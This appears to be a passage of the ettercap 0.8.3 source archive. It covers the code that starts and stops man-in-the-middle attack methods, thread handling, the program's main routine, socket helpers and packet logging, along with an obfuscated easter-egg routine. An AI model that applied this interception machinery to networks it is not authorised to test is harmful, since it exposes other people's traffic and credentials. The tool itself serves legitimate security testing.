mitm_table; struct mitm_entry { int selected; int started; struct mitm_method *mm; SLIST_ENTRY (mitm_entry) next; }; static char *mitm_args = ""; /*******************************************/ /* * register a new mitm method in the table */ void mitm_add(struct mitm_method *mm) { struct mitm_entry *e; SAFE_CALLOC(e, 1, sizeof(struct mitm_entry)); /* copy the mm struct */ SAFE_CALLOC(e->mm, 1, sizeof(struct mitm_method)); memcpy(e->mm, mm, sizeof(struct mitm_method)); SLIST_INSERT_HEAD(&mitm_table, e, next); } /* * set the 'selected' flag in the table * used by ec_parse.c */ int mitm_set(char *name) { struct mitm_entry *e; if ((mitm_args = strchr(name, ':')) != NULL) { *mitm_args = '\0'; mitm_args ++; } else { mitm_args = ""; } DEBUG_MSG("mitm_set: %s (%s)", name, mitm_args); /* search the name and set it */ SLIST_FOREACH(e, &mitm_table, next) { if (!strcasecmp(e->mm->name, name)) { e->selected = 1; return E_SUCCESS; } } return -E_NOTFOUND; } /* * return 1 if the mitm method is active */ int is_mitm_active(char *name) { struct mitm_entry *e; /* search the name and set it */ SLIST_FOREACH(e, &mitm_table, next) if (!strcasecmp(e->mm->name, name)) return e->started; return 0; } /* * starts all the method with the selected flag set. * it is possible to start multiple method simultaneusly */ int mitm_start(void) { struct mitm_entry *e; /* reading from file we won't start mitm */ if (EC_GBL_OPTIONS->read || EC_GBL_OPTIONS->unoffensive) { DEBUG_MSG("mitm_start: skipping"); return -E_INVALID; } DEBUG_MSG("mitm_start"); /* start all the selected methods */ SLIST_FOREACH(e, &mitm_table, next) { if (e->selected && !e->started) { /* cant use -R with mitm methods */ if (EC_GBL_OPTIONS->reversed) SEMIFATAL_ERROR("Reverse target matching can't be used with MITM attacks"); if (!EC_GBL_IFACE->is_ready) SEMIFATAL_ERROR("MITM attacks can't be used on unconfigured interfaces"); DEBUG_MSG("mitm_start: starting %s", e->mm->name); /* * if the mitm method does not start correctly, * deselect it ! */ if (e->mm->start(mitm_args) == E_SUCCESS) e->started = 1; else e->selected = 0; } } return E_SUCCESS; } /* * stop all the previously started method */ void mitm_stop(void) { struct mitm_entry *e; DEBUG_MSG("mitm_stop"); /* stop all the started methods */ SLIST_FOREACH(e, &mitm_table, next) { if (e->started) { DEBUG_MSG("mitm_stop: stopping %s", e->mm->name); e->mm->stop(); e->started = 0; e->selected = 0; } } } /* * keep the process running until the user exits */ void only_mitm(void) { char ch = 0; /* build the list of active hosts */ build_hosts_list(); /* start the mitm attack */ mitm_start(); INSTANT_USER_MSG("Activated the mitm attack only... (press 'q' to exit)\n"); if (EC_GBL_UI->type == UI_DAEMONIZE) LOOP { ec_usleep(SEC2MICRO(1)); } /* wait for user to exit */ while (ch != 'q' && ch != 'Q') { /* if there is a pending char to be read */ if ( ec_poll_in(fileno(stdin), 1) || ec_poll_buffer(EC_GBL_OPTIONS->script) ) { /* get the input from the stdin or the buffer */ if (ec_poll_buffer(EC_GBL_OPTIONS->script)) ch = getchar_buffer(&EC_GBL_OPTIONS->script); else ch = getchar(); } } INSTANT_USER_MSG("Exiting...\n\n"); /* stop the process */ mitm_stop(); /* perform a clean exit */ clean_exit(0); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_threads.c0000644000175000017500000002332013505247364016230 0ustar koeppeakoeppea/* ettercap -- thread handling Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include struct thread_list { struct ec_thread t; LIST_ENTRY (thread_list) next; }; /* global data */ #define DETACHED_THREAD 1 #define JOINABLE_THREAD 0 static LIST_HEAD(, thread_list) thread_list_head; static pthread_mutex_t threads_mutex = PTHREAD_MUTEX_INITIALIZER; #define THREADS_LOCK do{ pthread_mutex_lock(&threads_mutex); } while(0) #define THREADS_UNLOCK do{ pthread_mutex_unlock(&threads_mutex); } while(0) static pthread_mutex_t init_mtx = PTHREAD_MUTEX_INITIALIZER; static pthread_cond_t init_cond = PTHREAD_COND_INITIALIZER; #define INIT_LOCK do{ DEBUG_MSG("thread_init_lock"); pthread_mutex_lock(&init_mtx); } while(0) #define INIT_UNLOCK do{ DEBUG_MSG("thread_init_unlock"); pthread_mutex_unlock(&init_mtx); } while(0) /* protos... */ pthread_t ec_thread_detached(char *name, char *desc, void *(*function)(void *), void *args, int detached); /*******************************************/ /* returns the name of a thread */ char * ec_thread_getname(pthread_t id) { struct thread_list *current; char *name; if (pthread_equal(id, EC_PTHREAD_SELF)) id = pthread_self(); /* don't lock here to avoid deadlock in debug messages */ #ifndef DEBUG THREADS_LOCK; #endif LIST_FOREACH(current, &thread_list_head, next) { if (pthread_equal(current->t.id, id)) { name = current->t.name; #ifndef DEBUG THREADS_UNLOCK; #endif return name; } } #ifndef DEBUG THREADS_UNLOCK; #endif return "NR_THREAD"; } /* * returns the pid of a thread * ZERO if not found !! (take care, not -E_NOTFOUND !) */ pthread_t ec_thread_getpid(char *name) { struct thread_list *current; pthread_t pid; THREADS_LOCK; LIST_FOREACH(current, &thread_list_head, next) { if (!strcasecmp(current->t.name,name)) { pid = current->t.id; THREADS_UNLOCK; return pid; } } THREADS_UNLOCK; return EC_PTHREAD_NULL; } /* returns the description of a thread */ char * ec_thread_getdesc(pthread_t id) { struct thread_list *current; char *desc; if (pthread_equal(id, EC_PTHREAD_SELF)) id = pthread_self(); THREADS_LOCK; LIST_FOREACH(current, &thread_list_head, next) { if (pthread_equal(current->t.id, id)) { desc = current->t.description; THREADS_UNLOCK; return desc; } } THREADS_UNLOCK; return ""; } /* add a thread in the thread list */ void ec_thread_register(pthread_t id, char *name, char *desc) { ec_thread_register_detached(id, name, desc, JOINABLE_THREAD); } void ec_thread_register_detached(pthread_t id, char *name, char *desc, int detached) { struct thread_list *current, *newelem; if (pthread_equal(id, EC_PTHREAD_SELF)) id = pthread_self(); DEBUG_MSG("ec_thread_register -- [%lu] %s", PTHREAD_ID(id), name); SAFE_CALLOC(newelem, 1, sizeof(struct thread_list)); newelem->t.id = id; newelem->t.name = strdup(name); newelem->t.description = strdup(desc); newelem->t.detached = detached; THREADS_LOCK; LIST_FOREACH(current, &thread_list_head, next) { if (pthread_equal(current->t.id, id)) { SAFE_FREE(current->t.name); SAFE_FREE(current->t.description); LIST_REPLACE(current, newelem, next); SAFE_FREE(current); THREADS_UNLOCK; return; } } LIST_INSERT_HEAD(&thread_list_head, newelem, next); THREADS_UNLOCK; } /* * creates a new thread on the given function */ pthread_t ec_thread_new(char *name, char *desc, void *(*function)(void *), void *args) { return ec_thread_new_detached(name, desc, function, args, JOINABLE_THREAD); } pthread_t ec_thread_new_detached(char *name, char *desc, void *(*function)(void *), void *args, int detached) { pthread_t id; int e; DEBUG_MSG("ec_thread_new -- %s detached %d", name, detached); /* * lock the mutex to syncronize with the new thread. * the newly created thread will call ec_thread_init(), * so at the end of this function we are sure that the * thread had be initialized */ INIT_LOCK; if (detached == DETACHED_THREAD) { pthread_attr_t attr; pthread_attr_init(&attr); pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED); if ((e = pthread_create(&id, &attr, function, args)) != 0) ERROR_MSG("not enough resources to create a new thread in this process: %s", strerror(e)); }else { if ((e = pthread_create(&id, NULL, function, args)) != 0) ERROR_MSG("not enough resources to create a new thread in this process: %s", strerror(e)); } ec_thread_register_detached(id, name, desc, detached); DEBUG_MSG("ec_thread_new -- %lu created ", PTHREAD_ID(id)); if ((e = pthread_cond_wait(&init_cond, &init_mtx))) ERROR_MSG("waiting on init_cond: %s", strerror(e)); INIT_UNLOCK; return id; } /* * set the state of a thread * all the new thread MUST call this on startup */ void ec_thread_init(void) { pthread_t id = pthread_self(); int e; DEBUG_MSG("ec_thread_init -- %lu", PTHREAD_ID(id)); INIT_LOCK; /* * allow a thread to be cancelled as soon as the * cancellation request is received */ pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL); pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL); /* sync with the creator */ if ((e = pthread_cond_signal(&init_cond))) ERROR_MSG("raising init_cond: %s", strerror(e)); INIT_UNLOCK; DEBUG_MSG("ec_thread_init -- (%lu) ready and syncronized", PTHREAD_ID(id)); } /* * destroy a thread in the list */ void ec_thread_destroy(pthread_t id) { struct thread_list *current; if (pthread_equal(id, EC_PTHREAD_SELF)) id = pthread_self(); DEBUG_MSG("ec_thread_destroy -- terminating %lu [%s]", PTHREAD_ID(id), ec_thread_getname(id)); /* send the cancel signal to the thread */ pthread_cancel((pthread_t)id); DEBUG_MSG("ec_thread_destroy -- [%s] terminated", ec_thread_getname(id)); THREADS_LOCK; LIST_FOREACH(current, &thread_list_head, next) { if (pthread_equal(current->t.id, id)) { #ifndef BROKEN_PTHREAD_JOIN if (!current->t.detached) { DEBUG_MSG("ec_thread_destroy: pthread_join"); /* wait until it has finished */ pthread_join((pthread_t)id, NULL); } #endif SAFE_FREE(current->t.name); SAFE_FREE(current->t.description); LIST_REMOVE(current, next); SAFE_FREE(current); THREADS_UNLOCK; return; } } THREADS_UNLOCK; } /* * kill all the registerd thread but * the calling one */ void ec_thread_kill_all(void) { struct thread_list *current, *old; pthread_t id = pthread_self(); DEBUG_MSG("ec_thread_kill_all -- caller %lu [%s]", PTHREAD_ID(id), ec_thread_getname(id)); THREADS_LOCK; #ifdef OS_WINDOWS /* prevent hanging UI. Not sure how this works, but it does... */ if (EC_GBL_IFACE->pcap) ec_win_pcap_stop(EC_GBL_IFACE->pcap); #endif LIST_FOREACH_SAFE(current, &thread_list_head, next, old) { /* skip ourself */ if (!pthread_equal(current->t.id, id)) { DEBUG_MSG("ec_thread_kill_all -- terminating %lu [%s]", PTHREAD_ID(current->t.id), current->t.name); /* send the cancel signal to the thread */ pthread_cancel((pthread_t)current->t.id); #ifndef BROKEN_PTHREAD_JOIN if (!current->t.detached) { DEBUG_MSG("ec_thread_destroy: pthread_join"); /* wait until it has finished */ pthread_join(current->t.id, NULL); } #endif DEBUG_MSG("ec_thread_kill_all -- [%s] terminated", current->t.name); SAFE_FREE(current->t.name); SAFE_FREE(current->t.description); LIST_REMOVE(current, next); SAFE_FREE(current); } } THREADS_UNLOCK; } /* * used by a thread that wants to terminate itself */ void ec_thread_exit(void) { struct thread_list *current, *old; pthread_t id = pthread_self(); DEBUG_MSG("ec_thread_exit -- caller %lu [%s]", PTHREAD_ID(id), ec_thread_getname(id)); THREADS_LOCK; LIST_FOREACH_SAFE(current, &thread_list_head, next, old) { /* delete our entry */ if (pthread_equal(current->t.id, id)) { /* thread is attempting to shut down on its own, check and see if the thread is detached, if not set is as a detached thread since when a thread calls this method, there is no thread that will do the pthread_join to force it to release all of its resources */ if (!current->t.detached) { pthread_detach(id); } SAFE_FREE(current->t.name); SAFE_FREE(current->t.description); LIST_REMOVE(current, next); SAFE_FREE(current); } } THREADS_UNLOCK; /* perform a clean exit of the thread */ pthread_exit(0); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_main.c0000644000175000017500000001621413505247364015526 0ustar koeppeakoeppea/* ettercap -- everything starts from this file... Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef HAVE_EC_LUA #include #endif /* global vars */ /* protos */ static void time_check(void); /*******************************************/ int main(int argc, char *argv[]) { /* * Alloc the global structures * We can access these structs via the macro in ec_globals.h */ libettercap_init(PROGRAM, EC_VERSION); libettercap_load_conf(); DEBUG_MSG("main -- here we go !!"); /* initialize the filter mutex */ filter_init_mutex(); /* register the main thread as "init" */ ec_thread_register(EC_PTHREAD_SELF, "init", "initialization phase"); /* activate the signal handler */ signal_handler(); #ifdef OS_GNU fprintf(stdout,"%s is still not fully supported in this OS because of missing live capture support.", EC_GBL_PROGRAM); #endif /* ettercap copyright */ fprintf(stdout, "\n" EC_COLOR_BOLD "%s %s" EC_COLOR_END " copyright %s %s\n\n", EC_GBL_PROGRAM, EC_GBL_VERSION, EC_COPYRIGHT, EC_AUTHORS); /* getopt related parsing... */ parse_options(argc, argv); /* check the date */ time_check(); /* * get the list of available interfaces * * this function will not return if the -I option was * specified on command line. it will instead print the * list and exit */ capture_getifs(); /* initialize the user interface */ libettercap_ui_init(); /* initialize the network subsystem */ network_init(); #ifdef HAVE_GEOIP /* initialize the GeoIP API */ if (EC_GBL_CONF->geoip_support_enable) geoip_init(); #endif /* * always disable the kernel ip forwarding (except when reading from file). * the forwarding will be done by ettercap. */ if(!EC_GBL_OPTIONS->read && !EC_GBL_OPTIONS->unoffensive && !EC_GBL_OPTIONS->only_mitm) { #ifdef WITH_IPV6 /* * disable_ipv6_forward() registers the restore function with atexit() * which relies on the regain_privs_atexit() registered in * disable_ip_forward() below. * So the call of disable_ipv6_forward() must NOT be after the call of * disable_ip_forward(). */ disable_ipv6_forward(); #endif disable_ip_forward(); #ifdef OS_LINUX if (!EC_GBL_OPTIONS->read) disable_interface_offload(); #endif /* binds ports and set redirect for ssl wrapper */ if(EC_GBL_SNIFF->type == SM_UNIFIED && EC_GBL_OPTIONS->ssl_mitm) ssl_wrap_init(); #if defined OS_LINUX && defined WITH_IPV6 /* check if privacy extensions are enabled */ check_tempaddr(EC_GBL_OPTIONS->iface); #endif } /* * drop root privileges * we have already opened the sockets with high privileges * we don't need anymore root privs. */ drop_privs(); /***** !! NO PRIVS AFTER THIS POINT !! *****/ /* load all the plugins */ plugin_load_all(); /* print how many dissectors were loaded */ conf_dissectors(); /* load the mac-fingerprints */ manuf_init(); /* load the tcp-fingerprints */ fingerprint_init(); /* load the services names */ services_init(); /* load http known fileds for user/pass */ http_fields_init(); #ifdef HAVE_EC_LUA /* Initialize lua */ ec_lua_init(); #endif /* set the encoding for the UTF-8 visualization */ set_utf8_encoding((u_char*)EC_GBL_CONF->utf8_encoding); /* print all the buffered messages */ if (EC_GBL_UI->type == UI_TEXT) USER_MSG("\n"); ui_msg_flush(MSG_ALL); /**** INITIALIZATION PHASE TERMINATED ****/ /* * we are interested only in the mitm attack i * if entered, this function will not return... */ if (EC_GBL_OPTIONS->only_mitm) only_mitm(); /* create the dispatcher thread */ ec_thread_new("top_half", "dispatching module", &top_half, NULL); /* this thread becomes the UI then displays it */ ec_thread_register(EC_PTHREAD_SELF, EC_GBL_PROGRAM, "the user interface"); /* start unified sniffing for curses and GTK at startup */ if ((EC_GBL_UI->type == UI_CURSES || EC_GBL_UI->type == UI_GTK) && EC_GBL_CONF->sniffing_at_startup) EXECUTE(EC_GBL_SNIFF->start); /* start the actual user interface */ libettercap_ui_start(); /******************************************** * reached only when the UI is shutted down ********************************************/ /* Call all the proper stop methods to ensure * that no matter what UI was selected, everything is * turned off gracefully */ clean_exit(0); return 0; //Never reaches here } static void time_check(void) { /* * a nice easter egg... * just to waste some time of code reviewers... ;) * ALoR, keeping this for you buddy! :) * * trust me, it's not evil ;) only a boring afternoon, and nothing to do... */ time_t K9=time(NULL);char G5P[1<<6],*o=G5P,*O;uint U4M, _,__=0; char dMG[]= "\n*\n^1U4Mm\x04wW#K\x2e\x0e+X\x7f\f,N'U!I-L5?";struct{char X5T[7];int dMG; int U4M;} X5T[]={{"N!WwFr", 0x414c6f52,0},{"S6FfUe", 0x4e614741,0}};sprintf (G5P,"%s",ctime(&K9));o+=4;O=strchr(o+4,' ');*O=0; for(U4M=(1<<5)-(1<<2)+1; U4M>0;U4M--){dMG[U4M]=dMG[U4M]^dMG[U4M-1];}for(U4M=0;U4M0;_--){X5T[U4M].X5T[_]=X5T[U4M].X5T[_]^X5T[ U4M].X5T[_-1];}if(!strcmp(X5T[U4M].X5T,o)){char T0Q[]="\n\0O!M4\x14r\x1doO" ";T0Q(\bm\x19m\bz\x19x\b(A2\x12s\x1d=X5T=Q&G5Pp\x03l\n~\th\x1a\x7f_dMG\x06" "hH-@" "!H$\x04s\x1av\x1a:X=\x1d|\f|\x0ek\ba\0t\x11u[u[{^-m\fb\x16\x7f\x19" "v\x04oA\x2e\\;1;K9\\/\\|9w#f4\x1a\x34\x1a\x1a";for(_=(1<<7)-(1<<3)-(1<<2)+ 1;_>0;_--){T0Q[_]=T0Q[_]^T0Q[_-1];}write(1,dMG,1);while(__++<1<<5)printf("" "%c",(1<<5)+(1<<3)+(1<<1));X5T[U4M].dMG=ntohl(X5T[U4M].dMG);printf(dMG,&X5T [U4M].dMG);while(--__){printf("%c",(1<<6)-(1<<4)-(1<<3)+(1<<1));}printf(T0Q ,&X5T[U4M].dMG);getchar();break;}} } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_socket.c0000644000175000017500000001152113505247364016066 0ustar koeppeakoeppea/* ettercap -- socket handling module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #ifndef OS_WINDOWS #include #include #include #include #endif #include /*******************************************/ /* * set or unset blocking flag on a socket */ void set_blocking(int s, int set) { #ifdef OS_WINDOWS u_long on = set; ioctlsocket(s, FIONBIO, &on); #else int ret; /* get the current flags */ if ((ret = fcntl(s, F_GETFL, 0)) == -1) return; if (set) ret &= ~O_NONBLOCK; else ret |= O_NONBLOCK; /* set the flag */ // fcntl (s, F_SETFL, F_SETFD, FD_CLOEXEC, ret); //this solution BREAKS the socket (ssl mitm will not work) fcntl(s, F_SETFL, ret); #endif } /* * open a socket to the specified host and port */ int open_socket(const char *host, u_int16 port) { struct addrinfo *result, *res; struct addrinfo hints; int sh, ret, err = 0; #define TSLEEP (50*1000) /* 50 milliseconds */ int loops = (EC_GBL_CONF->connect_timeout * 10e5) / TSLEEP; char service[5+1]; DEBUG_MSG("open_socket -- [%s]:[%d]", host, port); /* convert port number to string */ snprintf(service, 6, "%u", port); /* predefine TCP as socket type and protocol */ memset(&hints, 0, sizeof(struct addrinfo)); hints.ai_socktype = SOCK_STREAM; /* resolve hostname */ if ((ret = getaddrinfo(host, service, &hints, &result)) != 0) { DEBUG_MSG("unable to resolve %s using getaddrinfo(): %s", host, gai_strerror(ret)); return -E_NOADDRESS; } /* go though results and try to connect */ for (res = result; res != NULL; res = res->ai_next) { /* open the socket */ if ( (sh = socket(res->ai_family, res->ai_socktype, res->ai_protocol)) < 0) { freeaddrinfo(result); return -E_FATAL; } /* set nonblocking socket */ set_blocking(sh, 0); do { /* connect to the server */ ret = connect(sh, res->ai_addr, res->ai_addrlen); /* connect is in progress... */ if (ret < 0) { err = GET_SOCK_ERRNO(); if (err == EINPROGRESS || err == EALREADY || err == EWOULDBLOCK || err == EAGAIN) { /* sleep a quirk of time... */ DEBUG_MSG("open_socket: connect() retrying: %d", err); ec_usleep(TSLEEP); /* 50000 microseconds */ } } else { /* there was an error or the connect was successful */ break; } } while(loops--); /* if connected we skip other addresses */ if (ret == 0) break; } /* * we cannot recall get_sock_errno because under windows * calling it twice would not return the same result */ err = ret < 0 ? err : 0; /* reached the timeout */ if (ret < 0 && (err == EINPROGRESS || err == EALREADY || err == EAGAIN)) { DEBUG_MSG("open_socket: connect() timeout: %d", err); close_socket(sh); freeaddrinfo(result); return -E_TIMEOUT; } /* error while connecting */ if (ret < 0 && err != EISCONN) { DEBUG_MSG("open_socket: connect() error: %d", err); close_socket(sh); freeaddrinfo(result); return -E_INVALID; } DEBUG_MSG("open_socket: connect() connected."); /* reset the state to blocking socket */ set_blocking(sh, 1); DEBUG_MSG("open_socket: %d", sh); freeaddrinfo(result); return sh; } /* * close the given socket */ int close_socket(int s) { DEBUG_MSG("close_socket: %d", s); /* close the socket */ #ifdef OS_WINDOWS return closesocket(s); #else return close(s); #endif } /* * send a buffer throught the socket */ int socket_send(int s, const u_char *payload, size_t size) { /* send data to the socket */ return send(s, payload, size, 0); } /* * receive data from the socket */ int socket_recv(int sh, u_char *payload, size_t size) { /* read up to size byte */ return recv(sh, payload, size, 0); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_log.c0000644000175000017500000004606213505247364015367 0ustar koeppeakoeppea/* ettercap -- log handling module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ #include #include #include #include #include #include #include #include #include #include #include #include #include /* globals */ /* zero is formally a valid value for an opened file descriptor * so we need a custom initializer */ static struct log_fd fdp = {0, NULL, -1}; static struct log_fd fdi = {0, NULL, -1}; /* protos */ static void log_packet(struct packet_object *po); static void log_info(struct packet_object *po); static pthread_mutex_t log_mutex = PTHREAD_MUTEX_INITIALIZER; #define LOG_LOCK do{ pthread_mutex_lock(&log_mutex); } while(0) #define LOG_UNLOCK do{ pthread_mutex_unlock(&log_mutex); } while(0) /************************************************/ /* * this function is executed at high privs. * open the file descriptor for later use * and set the log level * LOG_PACKET = packet + info * LOG_INFO = only info */ int set_loglevel(int level, char *filename) { char eci[strlen(filename)+5]; char ecp[strlen(filename)+5]; /* close any previously opened file */ log_stop(); /* if we want to stop logging, return here */ if (level == LOG_STOP) { DEBUG_MSG("set_loglevel: stopping the log process"); return E_SUCCESS; } DEBUG_MSG("set_loglevel(%d, %s)", level, filename); /* all the host type will be unknown, warn the user */ if (EC_GBL_OPTIONS->read) { USER_MSG("*********************************************************\n"); USER_MSG("WARNING: while reading form file we cannot determine \n"); USER_MSG("if an host is local or not because the ip address of \n"); USER_MSG("the NIC may have been changed from the time of the dump. \n"); USER_MSG("*********************************************************\n\n"); } snprintf(eci, strlen(filename)+5, "%s.eci", filename); snprintf(ecp, strlen(filename)+5, "%s.ecp", filename); memset(&fdp, 0, sizeof(struct log_fd)); memset(&fdi, 0, sizeof(struct log_fd)); /* open the file(s) */ switch(level) { case LOG_PACKET: if (EC_GBL_OPTIONS->compress) { fdp.type = LOG_COMPRESSED; } else { fdp.type = LOG_UNCOMPRESSED; } /* create the file */ if (log_open(&fdp, ecp) != E_SUCCESS) return -E_FATAL; /* initialize the log file */ log_write_header(&fdp, LOG_PACKET); /* add the hook point to DISPATCHER */ hook_add(HOOK_DISPATCHER, &log_packet); /* no break here, loglevel is incremental */ /* fall through */ case LOG_INFO: if (EC_GBL_OPTIONS->compress) { fdi.type = LOG_COMPRESSED; } else { fdi.type = LOG_UNCOMPRESSED; } /* create the file */ if (log_open(&fdi, eci) != E_SUCCESS) return -E_FATAL; /* initialize the log file */ log_write_header(&fdi, LOG_INFO); /* add the hook point to DISPATCHER */ hook_add(HOOK_DISPATCHER, &log_info); /* add the hook for the ARP packets */ hook_add(HOOK_PACKET_ARP, &log_info); /* add the hook for ICMP packets */ hook_add(HOOK_PACKET_ICMP, &log_info); /* add the hook for DHCP packets */ /* (fake icmp packets from DHCP discovered GW and DNS) */ hook_add(HOOK_PROTO_DHCP_PROFILE, &log_info); break; } atexit(log_stop); return E_SUCCESS; } /* * removes the hook points and closes the log files */ void log_stop(void) { DEBUG_MSG("log_stop"); /* remove all the hooks */ hook_del(HOOK_DISPATCHER, &log_packet); hook_del(HOOK_DISPATCHER, &log_info); hook_del(HOOK_PACKET_ARP, &log_info); hook_del(HOOK_PACKET_ICMP, &log_info); hook_del(HOOK_PROTO_DHCP_PROFILE, &log_info); log_close(&fdp); log_close(&fdi); } /* * open a file in the appropriate log_fd struct * * whether or not the log is compressed * fd->fd becomes to always be a file descriptor of the opened file * and fd->cfd is a non-NULL gzip stream descriptor when the log is to be compressed * * TODO: it is likely that we dont need 'type' field in 'log_fd' struct * to mark a compressed log; non-NULL 'cfd' field becomes such a flag */ int log_open(struct log_fd *fd, char *filename) { fd->fd = open(filename, O_CREAT|O_TRUNC|O_RDWR|O_BINARY, S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP|S_IROTH|S_IWOTH); if (fd->fd == -1) SEMIFATAL_ERROR("Can't create %s: %s", filename, strerror(errno)); else { if (EC_GBL_OPTIONS->compress) { int zerr; fd->cfd = gzdopen(fd->fd, "wb9"); if (fd->cfd == NULL) SEMIFATAL_ERROR("%s", gzerror(fd->cfd, &zerr)); }; }; return E_SUCCESS; } /* * closes a log_fd struct */ void log_close(struct log_fd *fd) { DEBUG_MSG("log_close: type: %d [%p][%d]", fd->type, fd->cfd, fd->fd); if (fd->cfd) { /* gzclose() on the gzip stream descriptor (fd->cfd) * will also close the file descriptor (fd->fd) */ gzclose(fd->cfd); fd->cfd = NULL; fd->fd = -1; /* to prevent double closing the file descriptor */ }; if (fd->fd >= 0) { close(fd->fd); fd->fd = -1; }; } /* * set the owner:group of the packet and info logfiles to new_uid:new_gid * if the current owners are old_uid:old_gid respectively * * prefer this way to unconditionally setting the new ownership as far as * the file may be intentionally located in the set-group-ID directory */ void reset_logfile_owners(uid_t old_uid, gid_t old_gid, uid_t new_uid, gid_t new_gid) { struct stat f; uid_t uid; gid_t gid; /* packet logfile */ if (fdp.fd >= 0) { DEBUG_MSG("reset_logfile_owners: packet log file"); if (fstat(fdp.fd, &f) == 0) { uid = (f.st_uid == old_uid) ? new_uid : (uid_t)-1; gid = (f.st_gid == old_gid) ? new_gid : (gid_t)-1; if ( fchown(fdp.fd, uid, gid) != 0 ) ERROR_MSG("fchown()"); } else ERROR_MSG("fstat()"); }; /* info logfile */ if (fdi.fd >= 0) { DEBUG_MSG("reset_logfile_owners: info log file"); if (fstat(fdi.fd, &f) == 0) { uid = (f.st_uid == old_uid) ? new_uid : (uid_t)-1; gid = (f.st_gid == old_gid) ? new_gid : (gid_t)-1; if ( fchown(fdi.fd, uid, gid) != 0 ) ERROR_MSG("fchown()"); } else ERROR_MSG("fstat()"); }; } /* * function registered to HOOK_DISPATCHER * check the regex (if present) and log packets */ static void log_packet(struct packet_object *po) { /* * skip packet sent (spoofed) by us * else we will get duplicated hosts with our mac address * this is necessary because check_forwarded() is executed * in ec_ip.c, but here we are getting even arp packets... */ EXECUTE(EC_GBL_SNIFF->check_forwarded, po); if (po->flags & PO_FORWARDED) return; /* * recheck if the packet is compliant with the visualization filters. * we need to redo the test, because here we are hooked to ARP and ICMP * packets that are before the test in ec_decode.c */ po->flags |= PO_IGNORE; EXECUTE(EC_GBL_SNIFF->interesting, po); if ( po->flags & PO_IGNORE ) return; /* the regex is set, respect it */ if (EC_GBL_OPTIONS->regex) { if (regexec(EC_GBL_OPTIONS->regex, (const char*)po->DATA.disp_data, 0, NULL, 0) == 0) log_write_packet(&fdp, po); } else { /* if no regex is set, dump all the packets */ log_write_packet(&fdp, po); } } /* * function registered to HOOK_DISPATCHER * it is a wrapper to the real one */ static void log_info(struct packet_object *po) { /* * skip packet sent (spoofed) by us * else we will get duplicated hosts with our mac address * this is necessary because check_forwarded() is executed * in ec_ip.c, but here we are getting even arp packets... */ EXECUTE(EC_GBL_SNIFF->check_forwarded, po); if (po->flags & PO_FORWARDED) return; /* * recheck if the packet is compliant with the visualization filters. * we need to redo the test, because here we are hooked to ARP and ICMP * packets that are before the test in ec_decode.c */ po->flags |= PO_IGNORE; EXECUTE(EC_GBL_SNIFF->interesting, po); if ( po->flags & PO_IGNORE ) return; /* if all the tests are ok, write it to the disk */ if (po->L4.proto == NL_TYPE_ICMP || po->L3.proto == htons(LL_TYPE_ARP)) log_write_info_arp_icmp(&fdi, po); else log_write_info(&fdi, po); } /* * initialize the log file with * the proper header */ int log_write_header(struct log_fd *fd, int type) { struct log_global_header lh; int c, zerr; DEBUG_MSG("log_write_header : type %d", type); memset(&lh, 0, sizeof(struct log_global_header)); /* the magic number */ lh.magic = htons(EC_LOG_MAGIC); /* the offset of the first header is equal to the size of this header */ lh.first_header = htons(sizeof(struct log_global_header)); strlcpy(lh.version, EC_GBL_VERSION, sizeof(lh.version)); /* creation time of the file */ gettimeofday(&lh.tv, 0); lh.tv.tv_sec = htonl(lh.tv.tv_sec); lh.tv.tv_usec = htonl(lh.tv.tv_usec); lh.type = htonl(type); LOG_LOCK; if (fd->type == LOG_COMPRESSED) { c = gzwrite(fd->cfd, &lh, sizeof(lh)); ON_ERROR(c, -1, "%s", gzerror(fd->cfd, &zerr)); } else { c = write(fd->fd, &lh, sizeof(lh)); ON_ERROR(c, -1, "Can't write to logfile"); } LOG_UNLOCK; return c; } /* log all the packet to the logfile */ void log_write_packet(struct log_fd *fd, struct packet_object *po) { struct log_header_packet hp; int c, zerr; memset(&hp, 0, sizeof(struct log_header_packet)); /* adjust the timestamp */ memcpy(&hp.tv, &po->ts, 